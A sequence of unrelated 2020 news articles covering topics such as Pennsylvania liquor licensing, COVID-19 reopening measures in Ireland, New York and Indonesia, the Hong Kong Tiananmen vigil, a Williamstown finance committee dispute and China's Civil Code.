When a municipality in a county that is over quota goes wet the PLCB cannot issue licenses in that municipality, Shawn Kelly, a PLCB spokesman, said Thursday.

If there are no new licenses, a business seeking a liquor license must seek to have an existing license transferred into the municipality. The license cannot be transferred outside of that county, according to Kelly.

Misner said since Southampton Township has approximately 8,500 residents, it could have two licenses. One retail liquor license is available per 3,000 residents, according to the PLCB. The United States Census Bureau estimated in 2019 that 155,027 people live in Franklin County.

In Lancaster County, Akron Borough voted on allowing liquor sales, and Lower Makefield Township voters in Bucks County overturned their liquor license ban.

A complete list of dry or partially dry Pennsylvania municipalities is available online.

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(ANSA) - Milan, June 5 - Finance police in Friday executed an order to confiscate around 20 million euros worth of assets from an Italian national sentenced to 10 years, seven months in jail for tax fraud and other financial felonies.

The confiscated assets included two luxury villas and 67 artworks and antiques, including paintings by Pablo Picasso, Lorenzo De Caro and Niccolo Cassana, and many sculptures.


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Engineering and construction major Larsen & Toubro is expected to see marginal fall in March quarter consolidated profit despite lower tax cost, as it could be hit by more than a week of nationwide lockdown in the end oof the quarter.

Most of segments barring hydrocarbon and services businesses may report a decline in growth in quarter ended March 2020, hence the revenue may see a moderate increase (5-7 percent) on year-on-year basis.

"Adjusted revenue growth will be 5 percent YoY mainly led by the services business. The country wide lockdown from March 23 may impact the revenue growth as the bulk of the bills got certified towards the March-end. Inclusion of Midtree revenue will boost the revenue growth in IT business," said Narnolia which sees 7 percent fall in profit YoY.

The brokerage feels revenue growth in other business like hydrocarbon will be around 12 percent on back of strong order book, power business will continue to report negative growth (down 31 percent) as the new orders received in last couple of quarter will take time to reflect into revenue.

While expecting 7 percent growth in revenue, Kotak Institutional Equities said, "Consolidation of Mindtree obviates YoY comparison. We expect a 5 percent YoY decline in core EPC revenues in Q4FY20 for continuing operations driven by ten days of negligible revenues. Most segment would report a YoY decline in revenues barring Hydrocarbon segment."

Brokerages expect double digit decline in March quarter order inflow due to lockdown.

Find All Earnings Related News Here

"The current ongoing lockdown will impact the company's business in materially in Q1FY21," said Narnolia which sees order inflow at Rs 33,000-35,000 crore from core E&C business in Q4FY20, while Motilal Oswal expects order inflows in the core business to decline 13 percent YoY.

Key things to watch out for would be working capital, impact of the COVID-19 on company's business, the execution trend and outlook on some big ticket size orders, outlook on FY21 and commentary on risk management amid lockdown.

The stock lost 41 percent during last one year due to fear of slowing order inflow and nationwide lockdown due to COVID-19 crisis. It was down 28 percent year-to-date and 38 percent during March quarter itself.
The Federal Court is ordering video game giant Sony to pay $3.5 million in fines for breaching Australian consumer law in regards to their refund policy.

On Friday, Justice Simon Steward ruled the company had made misleading representations to four consumers who believed they were entitled to refunds after purchasing games.

The customers who digitally downloaded games that they were unhappy with were later told by Sony that they were unable to get their money back, even if the games had been faulty. In this case, the games worked but failed to meet the consumers' expectations.

The case centred around Sony's misleading claims about consumers' refund rights when they made complaints after encountering difficulties with downloading or playing a game purchased from the PlayStation store.
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Two people were killed in a crash on I-75 on Thursday night involving a fleeing stolen vehicle suspect and another car that he struck.

According to Sheriff Gary R. Sisk, on Thursday, at approximately 10:40 p.m. the Catoosa County Sheriffs Office was assisting the Ringgold Police Department to locate a vehicle that had just been stolen from the Circle K convenience store at Smitherman Road and Battlefield Parkway.

Deputies spotted the vehicle, and the Ringgold Officer initiated a traffic stop, at which time the suspect vehicle fled at a high rate of speed onto Interstate 75 northbound. Deputies attempted to catch up to the vehicle; however, they were never able to get within 200 yards of it before the suspect vehicle hit another vehicle, causing it to roll over and come to rest in the southbound lanes of Interstate 75 before the state line.

The suspect in the stolen vehicle and the driver of the other vehicle did not survive the crash.

The Georgia State Patrol is investigating the accident.
People are having house parties "with abandon" and those invited to such gatherings must stay away, chief medical officer Dr Tony Holohan warned yesterday.

The parties are part of "unseen" breaches of public health advice causing concern and are being held as "though we are not in the midst of a pandemic".

It is still too early to have these kind of gatherings and they are against the current public health guidelines to halt the spread of Covid-19, he added.

Earlier this week, in response to questions on "intimacy" advice in the Netherlands, he agreed it was wise to stick to one partner to reduce the spread of the coronavirus.

Responsibility

He said yesterday it might seem to people that public health officials were policing "pleasurable" aspects of life and advising them in areas like house parties or intimacy.

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However, although there was concern about people congregating on beaches or on train platforms, the real worry was "unseen" activities such as house parties, he said.

He insisted it was a matter of personal responsibility and people could choose not to organise or attend these kind of gatherings.

Avoid crowds, walk away and do not accept invitations to house parties, he urged.

He was speaking after the National Public Health Emergency Team met yesterday and recommended that the Government goes ahead with the second phase of easing lockdown next week.

Professor Philip Nolan, of Maynooth University, who is heading the team tracking the virus, said there was a very slight increase in the R number, the measure used to gauge how many people, on average, will be infected for every one person who has the disease.

He said it was difficult to measure with precision when cases drop to a low level, and it is between 0.4 and 0.7 compared to 0.6 last week.

However, he described this increase as "marginal" and was encouraged it is still significantly below one.

He said that the "easing of restrictions in phase one of the roadmap has not negatively impacted the R number, in no small part thanks to the collective behaviours of our population in preventing resurgence of the disease".

As long as the R value stays below one, the number of daily cases will continue to fall.

He said all the main markers of disease were showing a decline.

The number of new cases each day are at "unprecedented low levels" and there is a slow decline in all settings.

There are an average of 48 new cases confirmed daily, compared to around 60 last week.

Last week there were 178 patients in hospital and that total is now down to 144.

"We are looking at fewer than 10 admissions a day to hospital. The number in intensive care is down to 37 compared to 50 last week, with admissions down to around one a day," he said.

The number of deaths has also fallen to one a day.

Asked about the advertisements now being run by airlines promoting flights to Spain and Portugal next month, Dr Holohan said the advice to people was not to book a holiday.

"Now is not the time," he said, while reiterating that people should not engage in any non-essential travel.

Relief

Asked whether the Republic would follow the advice in the North to make the wearing of face coverings mandatory on public transport, he said the guideline here would remain that it should be voluntary.

Meanwhile, a widely available indigestion medicine - which can be bought in pharmacies here for just 8 - may curb Covid-19 symptoms in mild to moderate disease, a new study suggests today.

Famotidine, sold as Pepcid AC, is a popular indigestion relief to reduce the amount of stomach acid produced.

Famotidine can be taken in doses of 20-160mg, up to four times a day, for the treatment of acid reflux and heartburn.

The benefits of the drug on Covid-19 patients who were able to recover at home were felt within 24 to 48 hours , according to the findings of a small case series in the journal Gut.
Berlin: German prosecutors have opened an investigation into whether a 43-year-old who has emerged as a possible suspect in the disappearance of British girl Madeleine McCann in Portugal may have been involved in a similar crime in Germany.

Prosecutors in the northern town of Stendal, 100 kilometers west of Berlin, told the dpa news agency on Friday they had opened a preliminary investigation to determine whether there was anything to link the suspect to the 2015 disappearance of a 5-year-old girl from a nearby forest.

Madeleine McCann disappeared when she was three years old on a family holiday in Portugal. Credit:REAL MADRID TV

Authorities have not released the suspect's name, but he has been widely identified by the German media as Christian Brueckner. He reportedly had a property 100 kilometers southwest of Stendal in the town of Neuwegersleben when the girl disappeared.

McCann was 3 at the time of her 2007 disappearance from an apartment while her family vacationed in the seaside town of Praia da Luz in Portugal's Algarve region.
Hong Kong police have fired pepper-spray at protesters as thousands defied a ban on holding an annual candlelight vigil in memory of the deadly Tiananmen Square crackdown.

Authorities rejected an application on Monday to hold the event for the first time in its history, arguing the vigil would violate coronavirus social-distancing rules on large gatherings.

Police clashed briefly on Thursday in the working-class Mong Kok area, where hundreds had gathered and some demonstrators tried to set up roadblocks with metal barriers.

Officers used spray to disperse the protesters, according to witnesses, and several demonstrators were arrested, police said.

Despite the ban, crowds poured into Victoria Park to light candles and observe a minute of silence at 8:09pm, with many chanting Democracy now and Stand for freedom, stand with Hong Kong.

Recommended Former foreign secretaries urge PM to take global lead on Hong Kong

If we dont come out today, we dont even know if we can still come out next year, Serena Cheung, an attendee at the vigil, told AP.

The event took place amid concerns over Chinas growing influence on Hong Kong after the territorys legislature passed a law this week making it a crime to disrespect the Chinese national anthem.

Hundreds and possibly thousands of people were killed in June 1989, when tanks and troops moved in on Tiananmen Square to break up weeks of student-led protests that had spread to other cities and were seen as a threat to the ruling Communist Party.

We all know the Hong Kong government and the Chinese government really dont want to see the candle lights in Victoria Park, Wuer Kaixi, a former student leader who was No. 2 on the governments most-wanted list following the crackdown, said.

The Chinese Communists want us all to forget about what happened 31 years ago, he told AP in Taiwan, where he lives.

But it is the Chinese government themselves reminding the whole world that they are the same government ... doing the same in Hong Kong.

Last month, Chinas ceremonial legislature ratified a decision to impose national security laws on Hong Kong, circumventing the citys legislature and shocking its residents.

Pro-democracy campaigners have warned the laws are part of an erosion of the rights Hong Kong was given when it was handed over from British to Chinese rule in 1997 under the one country, two systems principle.

Additional reporting by agencies
Williamstown Finance Committee Finalizes Letter to Mount Greylock Committee



Dan Caplinger argued that the letter as drafted might not be taken the way the Finance Committee hoped it would be taken. WILLIAMSTOWN, Mass.  As expected, the town's Finance Committee on Wednesday approved a letter advising the Mount Greylock Regional School Committee but only after one Fin Comm member suggested the letter could be seen as "condescending" and "patronizing" by the recipients.

On a vote of 7-1, the panel decided to send the letter to the School Committee asking that the latter continue "retaining at least $1.5 million [of the Williams College capital gift] as a capital improvement reserve."

The two-page letter discusses the importance of "planning for future eventualities" and reminds the School Committee of the "best practices" for maintenance and capital planning from the Massachusetts School Building Authority, which helped fund the recent renovation/addition project at the middle-high school. And it talks about the challenging fiscal environment for public entities in Massachusetts due to the impacts of the COVID-19 pandemic.

The Fin Comm's letter also refers twice to its oversight role in reviewing the school district's budget.

At the start of the third paragraph, the letter notes, "we as a Committee will have to make

a recommendation to the Town Meeting about whether or not to approve Warrants for budgeted expenditures including the Town's contribution to the School District." On the letter's second page, it states that if the district preserves the $1.5 million in question as part of an overall plan, the Finance Committee, "would endorse such a plan and would recommend it with enthusiasm to our community."

Finance Committees in both Mount Greylock's member towns, Williamstown and Lanesborough, already have voted to recommend the district's fiscal year 2021 spending plan. Lanesborough is holding its annual town meeting as scheduled on Tuesday; Williamstown has postponed its town meeting to a date to be determined.

Dan Caplinger, who joined the Fin Comm this spring, was the lone member to vote against Wednesday's letter.

Caplinger served on the Mount Greylock Regional School Committee before resigning in February and the Williamstown Elementary School Committee before that and said it was "awkward" for him to be discussing a matter tied to that former service, especially as the newest member of the Finance Committee.

But he sent his colleagues a two-page letter which he read into the record during Wednesday's virtual meeting.

"Although it's written with the best of intentions, I believe it will not achieve its intended purpose. Instead, it may well serve only to foster animosity and discord among public bodies that should be cooperating and collaborating much more extensively than they have in the past, with mutual respect and full understanding of each other's responsibilities and challenges," Caplinger wrote.

"Although I trust that our intent isn't to condescend or patronize, some School Committee members may justifiably interpret the proposed letter that way if we send it," he wrote at another point.

Caplinger said that he believed the School Committee members already understand the value of capital reserves and are aware of the language from the Massachusetts School Building Authority cited in the Fin Comm letter.

He argued that school committees generally have a different remit than town finance committees. The former has legal obligations to "students, faculty and staff" that it must fulfill while satisfying the budgetary demands of municipalities.

"Finance committees in general have the luxury of being able to focus on budget and fiscal

matters in a vacuum," Caplinger wrote. "We need not fully understand the educational duties and responsibilities that school committees bear."

Finally, he questioned the Finance Committee's decision to offer its advice to the School Committee at its time, when the only potential threat to the $1.5 million capital reserve is money the district could decide to use to make improvements to the playing fields on the Mount Greylock campus.

"Some will see the timing of this letter as an indication that we have substantive concerns about the specific use the School Committee contemplates for its spending rather than any desire to preserve a capital improvement reserve," he wrote. "Otherwise, the Finance Committee would have made its concerns known far earlier than now."

Finance Committee Chair Stephen Sheppard, who co-wrote the letter with Paula Consolini and Michael Sussman, said it was not the intent of the Fin Comm to patronize the members of the School Committee.

"I just would say there's absolutely no intention to be condescending or to imply that the School Committee doesn't understand stabilization funds or endowments or things like that," Sheppard. "I couldn't agree more that we need to work more to foster an atmosphere of collaboration and mutual respect.

"Mutual respect, of course, doesn't mean deference in all things. My thought on the language was just simply to say: This is a complex and difficult issue. We appreciate the flow of information that's happened. There was information that was provided via [Superintendent Kim Grady's] briefing to [Williamstown Town Manager Jason Hoch] and myself. That's not always been the case that the Finance Committee has been invited to these briefings. But we appreciate being invited, and we would welcome continued and ongoing collaboration."

Melissa Cragg said she agreed in general with the thoughts expressed in the letter and had not seen it as condescending. But after reading Caplinger's letter, she saw how it could be read that way.

Cragg seized on the last paragraph of Caplinger's letter, in which he recommended that instead of sending the letter it drafted, the Finance Committee invite the School Committee members to a joint meeting to talk about their concerns.

In the end, the Fin Comm voted to make that invitation at the end of the letter as drafted.

The letter was amended at Wednesday's meeting to include the following final sentence: "We also welcome a joint meeting should you wish to arrange one with us."



Paula Consolini helped draft the letter and joined her co-authors in saying its intent was to offer the opinion of the Finance Committee, not to tell the School Committee what to do. Sussman argued that the Finance Committee was not attempting to micromanage the School Committee's budget or infringe on the duties of the school panel.

"We're not talking to the School Committee about teachers salaries," Sussman said. "The item that we're concerned about is a generic thing of maintenance of buildings and keeping them up to date and not having emergency problems in the future  i.e. long-term planning.

"And I think that's really very much in the ballpark of a finance committee in helping the town."

Caplinger said that he understood the Finance Committee's intention, but with votes of the Fin Comm and the select boards in Lanesborough and Williamstown already on the public record, the potentially inflammatory letter was superfluous.

"I know what the Finance Committee is trying to do with the letter," he said. "I know with the discussions in iBerkshires and the talks about the various town bodies weighing in  we've already delivered the message. There's nothing that the letter is really going to do to add to that.

"I'll oppose it, but it won't overly upset me if I get voted down because I understand what you're trying to do. And based on the comments that you've made, I hope School Committee members are listening and will take it in the spirit in which you intend it."

Williamstown Finance Commit... by iBerkshires.com on Scribd
Indonesias second-largest Muslim group, Muhammadiyah, said on Thursday that its members and Muslims in general may again take part in public prayers in mosques starting this Friday with health protocols and particular arrangements in place to prevent the spread of COVID-19.

The announcement marks the opening of mosques and other Muslim holy sites, especially those associated with Muhammadiyah, after they were closed for congregational prayers in March.

In a circular read out by the organizations deputy secretary Agung Danarto during a press briefing on Thursday, the Muhammadiyah central executive board (PP) stated that the compulsory Friday prayers could be conducted in mosques, mushola (prayer rooms) or other similar places.

The prayers held in mosques or mushola should be carried out according to health protocols set out by Muhammadiyah's COVID-19 command center [MCCC] or local administrations, Agung said.

According to the circular, Friday prayers with COVID-19 prevention protocols can take place in more than one shift or in several places, such as in other buildings or rooms other than mosques or mushola, to give Muslims a chance to join the congregations.

It also reminded the public that the status of green or red zones -- referring to the level of coronavirus transmission in certain areas -- was very dynamic and could change at any time, thus Muhammadiyah members and Muslims in general have to remain up to date with relevant information so they can take the necessary precautions.

It is advisable that in carrying out worship, one must take health, benefit, safety and security concerns into consideration to avoid mafsadat [damage or negative impacts] and to help reduce the spread of COVID-19, Agung said.

The circular, jointly signed by Muhammadiyah chairman Haedar Nashir and secretary Abdul Muti, was issued alongside guidance on how to conduct worship amid the pandemic, which is a continued version of the previous guidance issued by the organizations tarjih (law making) and tajdid (reform) council.

The guidance was signed by the council's chairman Syamsul Anwar and secretary Mohammad Masudi.

Read also: Jakarta enters transition phase to ease restrictions, extends PSBB to end of June

Among other things, it regulates that congregations can maintain distance while praying instead of standing close to each other in their shaf (rows) during the pandemic. It also allows them to wear masks while praying.

Straightening and tightening shaf are part of perfecting shalat (prayers), but as the conditions are yet to return to normal, distancing shaf is advisable to avoid infection, the guidance reads.

This is in line with Prophet [Muhammad's] spirit, said Fuad Zain of Muhammadiyah's tarjih and tajdid council.

Wearing masks while praying, which is not allowed during normal conditions, does not damage the legitimacy of prayer, the guidance reads.

Especially in a time of a pandemic, a mask is a personal protector that has to be put on outdoors, including when going to the mosques or mushola to take part in mass prayers, Fuad said.

Meanwhile, MCCC chairman Agus Syamsuddin reminded takmir (mosque managements) to make sure of the status of the pandemic in their respective areas so as to assure that the decision to open mosques for mass prayers is not based only on emotion.

Agus also advised the takmir to make necessary preparations, including the provision of thermo guns and hand sanitizers for people entering the mosques as well as to prepare shaf arrangements and ablution places according to the health protocols.

The availability of inspectors in mosques is also pivotal to make sure that everyone obeys the prevailing protocols, Agus said, as he went on to remind the takmir to promptly close a mosque again if a congregation is found to have been infected by COVID-19.
The men with guns swarmed the girls village near Bankass, at Malis border with Burkina Faso. She watched as the fighters  likely members of one of the violent extremist groups roaming the arid region  murdered her relatives.

Twelve-year-old Hamsa escaped physical harm. But a day and a half later, when she and her haggard family arrived at the Socoura displaced persons camp in the central city of Mopti with only the clothes they were wearing, she was catatonic.

It took a month for relief workers and psychologists to coax a word out of her. I was afraid, she said, according to aid officials. I was terrified. I thought I was going to get killed.
Taoiseach Leo Varadkar has said that the goal of the next government should be to root out racism in Irish society.

Speaking with Pat Kenny on Virgin Media One this evening, he said that people of colour who are born in Ireland and live in Ireland are not always treated as they are Irish

He was speaking in reference to a statement he made in the Dail this week about riots across the US after the death of George Floyd, where he said there is an absence of moral leadership.

Even though we may not have police brutality in Ireland, we have a really professional excellent garda service, we do have racism. We need to be wise of that too, he said this evening.

A lot of young people, people of colour, growing up in Ireland and born here, who are not treated always as they are Irish as the rest of us, as Irish as you. And I was kind of speaking to them really in recognising that black lives matter, but also black feelings matter too.

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He said that he was shocked when he saw the video of a policeman kneeling on George Floyds neck until he went unconscious and later died.

When we saw those scenes of a man losing his life in a situation he did, we were all shocked.

There could have been a better response from the President [Trump]."

He said that once a government is formed in the coming weeks, it should focus on racism.

I think among the things that the next government will want to do is focus on racism, on rooting it out, on campaigns against it.

Make sure that people from ethnic minority backgrounds are better represented in the civil service, in the public service."
New Delhi, June 5 : Government has suspended expenditure on all new and approved public funded schemes and projects of ministries during the current financial year in wake of Covid-19 pandemic that has put unprecedented dem and on public financial resources.

Accordingly, ministries have been told that no new schemes and sub-schemes should be initiated in FY21 excerpt those announced under Pradhan Mantri Gareeb Kalyan package, Atma Nirbhar Bharata Abhiyan package and any other special package and announcement made by the government during the course the year counter adverse impact from coronavirus outbreak.

According to an office memorandum of department of expenditure in the Finance Ministry, the changes has been made as there is a need to use resources prudently in accordance with emerging and changing priorities.

Despite the new economic packages announced by the Centre over last couple o f months, expenditure department has been flooded with requests from ministries seeking ain-principle' approvals for new proposals and schemes.

As per the finance ministry's decision, even approved schemes upto Rs 500 crore will remain suspended in FY21 or till further orders, whichever is earlier.

However, all ongoing schemes whose continuation in current fiscal got approval from the finance ministry in January will continue to operate till March 31, 2021 or till the date 15 Finance Commissions recommendations come into ef fect, whichever is earlier. The continuation of these schemes will be based o n outcome review based on evaluation.

The continuing schemes will need to be appraised and approved further for th e period of 2021-22 and 2025-26 after 15th Finance Commission's recommendations are accepted and resource position of public exchequer is clear, the finance ministry office memorandum has said.

Finance ministry has decided not to release any funds for scheme this year that are not in conformity to its above guidelines. No budgetary provisions will be made available by re-appropriation to such schemes.

An exception to the new austerity measure of the finance ministry can only be made with its specific approval.
PBS The Whitney Reynolds Show earned a bronze at the Telly Awards on May 27th, 2020. The Telly Awards recognizes excellence in television and video. The winning episode focused on racism in America; the harsh presence and the challenges it poses today. Host and Executive Producer, Whitney Reynolds dedicates the show to educating on real topics to inform, guide, and provide hope to individuals.

This episode is especially critical considering the current state of relations. I am so grateful and honored to be a safe space for all stories. Especially the show that one us our first Telly, Overcoming Racism.  Whitney Reynolds

This is the third recognition for The Whitney Reynolds Show. It has also been Emmy nominated and is a Stevie Award Winner for Video of the Year. The Telly Awards honors excellence in television and video in various categories. For over forty years, the organization has highlighted those that tell great stories. The winning episode and others can be viewed nationally on the PBS app, via https://www.pbs.org/show/whitney-reynolds, Amazon Prime, and directly at Whitney Reynolds.com, in addition to the local PBS stations Illinois, Wisconsin, Florida, Indiana, Michigan and Iowa.

ABOUT:

Whitney Reynolds is also the host of Whitneys Women on IHeartRadio and contributes to The Glu, Chicago Parent Magazines. She is also an avid philanthropist and advocate for change. She is a graduate of Baylor University and began her broadcasting career as an intern at GMA. Reynolds resides in Lakeview, Chicago with her husband David and twins, Marlowe and Acher.
As he awaits a historic Senate confirmation vote to become the first black Air Force chief of staff, Gen. Charles "CQ" Brown spoke out about a life in which he has tried just to fit in as an African American man in everyday life, as well as in uniform.

"I'm thinking about how full I am with emotion, not just for George Floyd, but the many African Americans that have suffered the same fate as George Floyd," said Brown, currently the head of Pacific Air Forces, in a passionate video posted on social media Friday.

Read Next: Soldiers Pull BLM Signs, Confederate Flag from Vehicles After Viral Confrontation

Brown described his military experience as "living in two worlds," with some questioning whether he even belonged in the ranks.

"I'm thinking about my Air Force career, where I was often the only African American in my squadron, or as a senior officer, the only African American in the room," he said in the video. "I'm thinking about wearing the same flight suit with the same wings on my chest as my peers, and then being questioned by another military member, 'Are you a pilot?'

"I'm thinking about having to represent by working twice as hard to prove [that my supervisors'] perceptions and expectations of African Americans were invalid," he added. "I'm thinking about the airmen who don't have a life similar to mine, and don't have to navigate through two worlds. I'm thinking about how these airmen see racism, where they don't see it as a problem because it doesn't happen to them, or whether they're empathetic."

While leaders across the branches have spoken out since the May 25 death of Floyd, a black man, at the hands of police officers in Minneapolis, the Air Force has stood out on the issue.

Chief Master Sergeant of the Air Force Kaleth O. Wright was the first member of senior military leadership to speak out publicly amid the national unrest. He expressed concern for black members of the Air Force and called for change, including a review of the military justice system.

"I am George Floyd ... I am Philando Castile, I am Michael Brown, I am Alton Sterling, I am Tamir Rice," Wright wrote Monday in a lengthy social media post. "Just like most of the Black Airmen and so many others in our ranks ... I am outraged at watching another Black man die on television before our very eyes."

Wright retweeted Brown's message Friday, as others also came out in support.

"I'm thinking I wish I could stick around to work for, and with, this man," Gen. Mike Holmes, the head of Air Combat Command who's set to retire in coming months, said of Brown.

"Copy that, Sir. Copy that," Wright wrote in response to Holmes.

"I can't fix centuries of racism in our country, nor can I fix decades of discrimination that may have impacted members of our Air Force," Brown said in the video. "Im thinking about how I can make improvements personally, professionally and institutionally so that all airmen, both today and tomorrow, can appreciate the value of diversity and serve in an environment where they can reach their full potential.

"I want to know what youre thinking about, I want to hear what youre thinking about, and how together, we can make a difference," he added.

In March, Brown was nominated to be next Air Force chief of staff, which would make him the first African American officer to serve as the top uniformed officer of any of the military branches.

If confirmed, he will be 22nd Air Force chief of staff, following Gen. David Goldfein, who is set to retire this summer after four years in the position. Brown would also be the first black officer to sit on the Joint Chiefs of Staff since Army Gen. Colin Powell, now retired, served as chairman between 1989 and 1993.

Brown's nomination still awaits a full vote in the Senate; the Senate Armed Services Committee advanced it last month.

Defense News reported this week that Sen. Dan Sullivan, a Republican from Alaska, put a hold on Brown's nomination over whether the KC-46 Pegasus tanker will be based at Eielson Air Force Base in his home state. Sullivan has since lifted the hold.

"I had some follow-up questions on [the KC-46 issue]," the senator told Defense News. "They got back to me now and so [Brown] is cleared hot. You know the nomination process; you've seen that I take it very seriously. The questions I asked are serious and then, when we have questions for the record, they've got to be answered appropriately."

-- Oriana Pawlyk can be reached at oriana.pawlyk@military.com. Follow her on Twitter at @Oriana0214.

Related: Top Air Force Lawyer Calls for Proposals on Improving Racial Disparity in Military Justice
STATEN ISLAND, N.Y. -- Days before New York City is set to begin phase one of reopening amid the novel coronavirus (COVID-19), the MTA has released an official plan to welcome back commuters to a safe and efficient transit environment.

On Friday, the citys top transit officials unveiled the MTA Action Plan For a Safe Return," a 13-point plan that outlines actions being taken by the agency, many of which were announced earlier in the week.

The MTA is reimagining operations with one core mission: Doing everything possible to ensure the safety of all New Yorkers, said MTA CEO and chairman Pat Foye.

*** CLICK HERE FOR COMPLETE COVERAGE OF CORONAVIRUS IN NEW YORK ***

First, the MTA will restore what the agency has referred to as full, regular service." This includes the restoration of regular, weekday service on most local and all express buses. Subways will also operate at full service throughout most of the day.

However, overnight subway closures will continue, the Staten Island Railway will continue to provide reduced service to align with the Staten Island Ferry schedule and Manhattan local buses will only run at 75% service levels.

The MTA will continue its enhanced cleaning and disinfecting protocols, with the agency stating that the citys 472 subway stations have been cleaned over 71,000 times since the start of the pandemic.

Face coverings will remain mandatory for all mass transit riders, as they have been since Gov. Andrew Cuomo signed an executive order in mid-April requiring all New Yorkers to cover their face in public places where social distancing is not possible.

The MTA and NYPD will work collaboratively to enhance safety and security throughout the system, enforcing mask usage and social distancing without issuing summonses or making arrests.

The agency will continue its employee safety initiatives, including the much-lauded Temperature Brigade," which checks transit workers for a fever before allowing them to clock in.

Innovative cleaning solutions, like the UV lights the agency is currently piloting to quickly disinfect buses and subway cars, will continue to be investigated for efficacy and implementation.

Two million masks and copious amounts of hand sanitizer will be distributed throughout the system in a collaborative effort between the city and state.

Floor markings, directional arrows and new signage will be installed throughout the system, directing New Yorkers to spots in which they can effectively social distance from other travelers.

The MTA has staggered the business hours for many of its employees to reduce crowding during morning and evening rush hour, something theyve encouraged other members of the business community to consider as well.

Contactless payment, which offers the most hygienic way to pay your fare, is strongly encouraged and the MTA has expedited the rollout of its OMNY system to allow more riders to use the system as soon as possible.

The agency is continuing to form new partnerships and explore new technologies to make the system safer, announcing Friday that they will begin piloting new air filters on subway cars and buses to see if they are effective in killing microbes.

The MTA also announced that it will launch a new data dashboard on the agencys website, allowing prospective riders to view daily ridership numbers to determine when they feel safe returning to their respective commutes.

Lastly, returning riders were reminded to do their part in keeping themselves and their fellow New Yorkers safe.

Were all in this together. Everyone must do their part as we reopen. Please follow public health guidance. Wash your hands. Dont touch your face. Cough into your elbow and stay home if youre sick, said MTA NYCT interim president Sarah Feinberg.
The adoption of China's first Civil Code stirs emotions of pride and excitement for Jin Ping, who has spent his most passionate years in preparing for the long-expected law. The 98-year-old law professor at Southwest University of Political Science and Law in Chongqing worked on the expert groups who attempted to draft the civil codes several times over the past 60 years. "The civil code has been the obsession of my whole lifetime," said Jin. On May 22, Chinese lawmakers started deliberating the draft of the Civil Code at the annual session of the 13th National People's Congress, the country's top legislature. Jin has studied civil law his whole life. Though he did not participate in preparing this draft, many of his students did. The Civil Code has six parts on real rights, contracts, personality rights, marriage and family, inheritance, and tort liabilities, in addition to general and supplementary provisions. As lawmakers deliberated the code in Beijing, Jin pored over the pages of the draft in his home in Chongqing. "Many of my students are continuing the job that I didn't finish. This is specially comforting to me. I feel like I am still working for its adoption," he said. The legislation is expected to further refine China's basic legal system and rules of conduct in the civil and commercial fields. A major innovation of China's Civil Code, jurists say, is embodied in the personality rights part, which includes provisions on a civil subject's rights to life, body, health, name, portrait, reputation and privacy, among others. China's earlier four attempts to draft a civil code since the 1950s did not succeed due to various reasons. Jin is the last surviving expert who participated in the first three attempts to draft the code. "It was a blessing for me to be able to see the deliberation of the civil code and its adoption. This has been the pursuit of generations of civil lawmakers," he said. Born in 1922 in east China's Anhui Province, Jin lived through the revolutionary times. In 1945, as schools reopened after China won the war against Japanese aggression, Jin took law as his major at university. Nine years later he became a law teacher. During that same year, the first session of the 1st National People's Congress was convened and the country's first Constitution was enacted. Jin was chosen to be one of the law experts working on drafting the civil code. "I didn't know why a young teacher like me was chosen. But over the years I've come to realize that the Chinese leaders were aware that law-making was not easy. They were making plans and preparations in advance to train talents for future legislative needs," he said. "Teachers from law schools, judges, and researchers joined the draft work. We did a lot of field work. For example, we went to many cities to conduct surveys for drafting the inheritance law," he said. The newly-adopted Civil Code has systematically integrated existing civil laws and regulations, modifying them to adapt to new realities. It has also responded to new problems such as an emergency situation like epidemic prevention and control. "When my students called me, telling me that the draft civil code would be deliberated, I was overjoyed. But I also told them that they still have a bigger mission," he said. "The deliberation marks a good beginning but laws need to be improved and updated and the civil code should be able to better serve the people." "It's no easy task to formulate a good law, and it's even more important to make it understood by the public and be enforced effectively," he said. "The practice of the rule of law shall never stop."
COVID-19: Virginia launches statewide antibody testing

UVA Health has partnered with the Virginia Department of Health and other hospitals around the state to determine how many Virginians have been infected with COVID-19 - and how many remain at risk.

The Virginia Coronavirus Serology Project will test the blood of 5,000 patients for COVID-19 antibodies to determine if they have or have had the virus. That will help VDH estimate how many people have had the virus without showing symptoms, or went untested, and better predict how COVID-19 may affect the state in the future.

While the blood samples will be collected across Virginia, all the testing will be performed at UVA Health. Eric Houpt, MD, the chief of UVA's Division of Infectious Diseases and International Health, is serving as project leader.

"The confirmed COVID case counts in Virginia, or in any state, are an underestimate because testing has been incomplete and there are many cases with mild or no symptoms at all," Houpt said. "The question this project will answer is how much are we underestimating infection, how far are we from herd immunity and are we especially missing cases in certain groups or regions."

Understanding COVID-19 in Virginia

To launch the initiative, VDH has partnered with a health system in each of the state's five health planning regions: UVA in the Northwest, Inova in the Northern, Virginia Commonwealth University in the Central, Sentara Healthcare in the Eastern and Carilion Clinic in the Southwest.

Each region will collect 1,000 blood samples in June and July from patients, age 18 or older, who agree to the testing during regular outpatient clinic visits. Participants will also complete a short questionnaire. (All testing will be done during regular appointments; no additional volunteers are being sought.)

The blood samples will then be shipped to UVA Health to be tested for antibodies to COVID-19. The presence of the antibodies indicates the person has or has had the virus.

Better Planning for the Future

The results will help the state plan for future healthcare needs and better understand the risk factors for COVID-19 infection. Participants can choose to be notified of their results as well.

VDH aims to release its preliminary findings no later than the end of July.

"Launching this large project in the midst of a pandemic has been a huge team effort and has only been possible because of tremendous institutional support at UVA and at these other health systems and the work of dozens of team members," Houpt said. "We trust these results will help inform how the commonwealth can get back to normal in the Fall."

To keep up with the latest medical research news from UVA, subscribe to the Making of Medicine blog at http://makingofmedicine. virginia. edu .

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This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
Photo Illustration by The Daily Beast/Photos Getty

As protesters around the country demand large-scale criminal justice reform in response to the high-profile deaths of black people killed by law enforcement in recent years, Joe Bidens public embrace of their platform has aggravated some of the most vocal and politically powerful organized labor organizations in the country: police unions.

Loyal supporters since Biden shepherded landmark crime legislation through Congress in the 1990s, police unions and their rank-and-file members are feeling increasingly alienated by the former vice president as the political winds have shiftedand as calls for permanent criminal justice reform have become Democratic orthodoxy.

It just shows that he is a typical politician and just goes with whichever way the wind blows, said Paul DiGiacomo, president of the Detectives Endowment Association, the second-largest labor union representing New York City Police Department officers. DiGiacomo told The Daily Beast that Bidenwhom he once considered a reliable ally of police unionshas changed his stance on law enforcement issues to his political peril.

Its not popular to support the police now, DiGiacomo said, and hes just using opportunities that are going on throughout this country to condemn all police, which is unfair.

In recent weeks, Biden has foregrounded the concerns of black Americansto whom he owes much of his victory in the Democratic presidential primariesin public and private remarks about the protests and riots that have engulfed cities across the country.

